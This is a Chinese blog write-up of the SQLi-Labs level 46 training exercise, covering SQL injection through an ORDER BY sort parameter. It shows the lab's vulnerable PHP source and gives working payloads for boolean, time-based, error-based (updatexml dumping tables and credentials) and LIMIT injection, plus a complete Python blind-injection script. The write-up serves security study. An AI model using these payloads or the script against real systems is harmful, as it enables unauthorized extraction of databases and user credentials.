• SQL-Labs46关order by注入姿势


    四十六关 ORDER BY数字型注入

    请求方式注入类型拼接方式
    GET报错、布尔盲注、延时盲注ORDER BY $id

    在这里插入图片描述
    我们直接可以从界面中得知传参的参数为SORT,下面我们令参数即sort为1继续尝试输入:

    ?sort=1
    
    • 1

    在这里插入图片描述
    我们可以看到是一个排序表格,同时我们继续尝试将sort参数变为2继续尝试:
    在这里插入图片描述
    可以看到按照字母顺序进行了排序,所以它便是一个使用了order by语句进行排序的查询的一种查询输出方式。
    我们这里继续尝试,将参数变为1',我们可以看到它进行了报错:
    在这里插入图片描述
    可以看到它直接将报错信息输出了出来,所以我们之后可以进行尝试报错注入。
    同时我们之前说了使用了order by,所以这里使用union注入当然是不行的,我们不必进行考虑。我们之后可以跟经常使用order by的正反排序,即为desc以及asc,当然,不加这个默认为从小到大,即为asc。
    在这里插入图片描述
    在这里插入图片描述
    所以如果这里进行注入点判断时,我们使用order by为一个数值是没有意义的,这里我们需要使用rand函数,下面我们会谈到。

    1、源码分析

    
    include("../sql-connections/sqli-connect.php");
    $id=$_GET['sort'];	
    if(isset($id))
    	{
    	//logging the connection parameters to a file for analysis.
    	$fp=fopen('result.txt','a');
    	fwrite($fp,'SORT:'.$id."\n");
    	fclose($fp);
    
    	$sql = "SELECT * FROM users ORDER BY $id";
    	$result = mysqli_query($con1, $sql);
    	if ($result)
    		{
    		?>
    		···
    		<?php
    		while ($row = mysqli_fetch_assoc($result))
    			{
        			echo "".$row['id']."";
        			echo "".$row['username']."";
        			echo "".$row['password']."";
    			}	
    		echo "";
    		}
    		else
    		{
    		print_r(mysqli_error($con1));
    		}
    	}	
    	else
    	{
    		echo "Please input parameter as SORT with numeric value



    "
    ; echo '
    '
    ; echo "Lesson Concept and code Idea by D4rk"; } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    首先进行解读代码,这里我只解读大致部分,首先进行使用GET方式来获取sort参数,然后直接将获取到的参数放入构建的SQL查询语句当中,接着进行判断是否查询成功,如果查询成功,那么输出查询信息,如果没有查询到内容,那么输出报错信息,也是我们的一个注入点。

    在这里插入图片描述
    在这里插入图片描述

    2、rand()盲注

    rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。
    当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

    ?sort=rand(true)
    ?sort=rand(false)
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述
    可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:

    ?sort=rand(ascii(mid((select database()),1,1))>96)
    
    • 1

    在这里插入图片描述
    我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:

    ?sort=rand(ascii(mid((select database()),1,1))>114)
    ?sort=rand(ascii(mid((select database()),1,1))>115)
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述
    这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。

    3、if语句盲注

    这种方式进行盲注仅在order=$id,数字型注入时才能生效。因为如果变为了'$id'则会导致if语句变为字符串从而失效:
    在这里插入图片描述
    我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
    同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。
    在这里插入图片描述
    所以这里我们需要在知道列名的情况下进行使用:

    ?sort=if(表达式,id,username)
    
    • 1
    • 表达式为true时,根据id进行排序
    • 表达式为false时,根据username来进行排序

    当然如果我们在不知道列名的情况下其实也可以使用的:
    这里我们主要利用id:
    在这里插入图片描述
    这里我们使用payload为:

    ?sort=if(表达式,1,(select id from information_schema.tables))
    
    • 1
    • 如果表达式为true时,则会返回正常页面
    • 如果表达式为false,sql语句会报错ERROR 1242 (21000): Subquery returns more than 1 row会使查询内容为空。

    4、时间盲注

    这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

    order by if(表达式,1,sleep(1))
    
    • 1
    • 表达式为true时,正常时间显示
    • 表达式为false时,会延迟一段时间显示

    需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
    在这里插入图片描述
    这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
    之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

    ?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

    5、报错注入

    之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

    1、爆出数据库名

    ?sort=updatexml(1,concat(0x7e,database(),0x7e),1)
    
    • 1

    在这里插入图片描述

    2、爆出数据库中的所有表

    ?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)
    
    • 1

    在这里插入图片描述

    3、爆出数据库users表中的所有列

    ?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)
    
    • 1

    在这里插入图片描述

    4、爆出数据

    ?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)
    
    • 1

    在这里插入图片描述
    这里也不赘述了,改变limit值即可完成数据的查询。

    6、Limit注入

    首先需要强调该limit注入只适用于<=MySQL5.5版本中,首先介绍limit使用在mysql中,一般使用limit m,n其中m指的是以m为头开始记录,n即为从m+1开始,取n条数据。

    select * from users limit 0,1;
    select * from users limit 2,4;
    
    • 1
    • 2

    在这里插入图片描述
    这里我们必须掌握清楚最基础的使用方式。
    下面便是limit注入即为注入点在limit后面。
    procedure analyse()报错注入
    此方法适用于<=MySQL 5.5中,在limit语句后面的注入

    在mysql语法中limit后面只能跟PROCEDURE、INTO OUTFILE、FOR UPDATE | LOCK IN SHARE MODE三个函数。

    现今的5.7版本后limit 关键字后面就不能和union联合查询一起使用了,但是还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,这里就只演示使用procedure analyse()函数来实现错误注入,这个函数下有ANALYSE支持两个参数。
    报错注入方式:

    select * from users order by id limit 0,1 procedure analyse(extractvalue(1,concat(version())));
    
    • 1

    时间盲注方式:

    select * from users order by id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
    
    • 1

    7、盲注脚本

    下面我进行补充即为使用时间盲注,编写脚本完成本关的注入,首先这里我们依旧使用时间盲注构造payload完成注入:

    import requests
    import time
    
    
    def inject_database(url):
        name = ''
        for i in range(1, 20):
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
            	# 构造时间盲注payload
                payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
                # 传参
                params = {"sort": payload}
                start_time = time.time()
                # 异常处理,这里我设定了超时时间为20s
                try:
                    r = requests.get(url, params=params, timeout=20)
                except requests.Timeout:
                    print("Request timed out.")
                    continue
                end_time = time.time()
                if end_time - start_time >= 1:
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) // 2
            if mid == 32:
                break
            name += chr(mid)
            print(name)
    
    
    if __name__ == "__main__":
        url = 'http://127.0.0.1/sqli7/Less-46/index.php'
        inject_database(url)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    这里需要注入URL的正确性进行更改!!!
    时间盲注可能时间有点有点长,需要稍加等待
    在这里插入图片描述
    这里我们可以看到代码是没有错误的,爆出了数据库名。
    当然,我们还想要爆出数据库下的表名只需更改payload即可:
    将payload改为:

    if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),%d,1))>%d,sleep(1),0)"%(i,mid)
    
    • 1

    这里我没有连接,而是采用一个一个表进行注入。一个完成后更改limit后面的值即可。
    在这里插入图片描述
    下面就是一样的步骤了,更改payload然后使用脚本注入出数据即可。

  • 相关阅读:
    通过QGIS下载高程数据并进行矢量数据高程的计算
    c++ c语言学习之 取反 ~
    未来属于 Firefly:通过最新的生成式 AI 创新解锁新的创造力水平
    STL库->String(C++)
    【网安神器篇】——瑞士军刀Netcat
    mac控制台命令小技巧
    灵性图书馆:好书推荐-《零极限》
    MacOS终端命令行死循环
    maven多模块依赖包程序包xxx不存在
    数据准备脚本:Python Pandas OR esProc SPL?
  • 原文地址:https://blog.csdn.net/weixin_63172698/article/details/136275347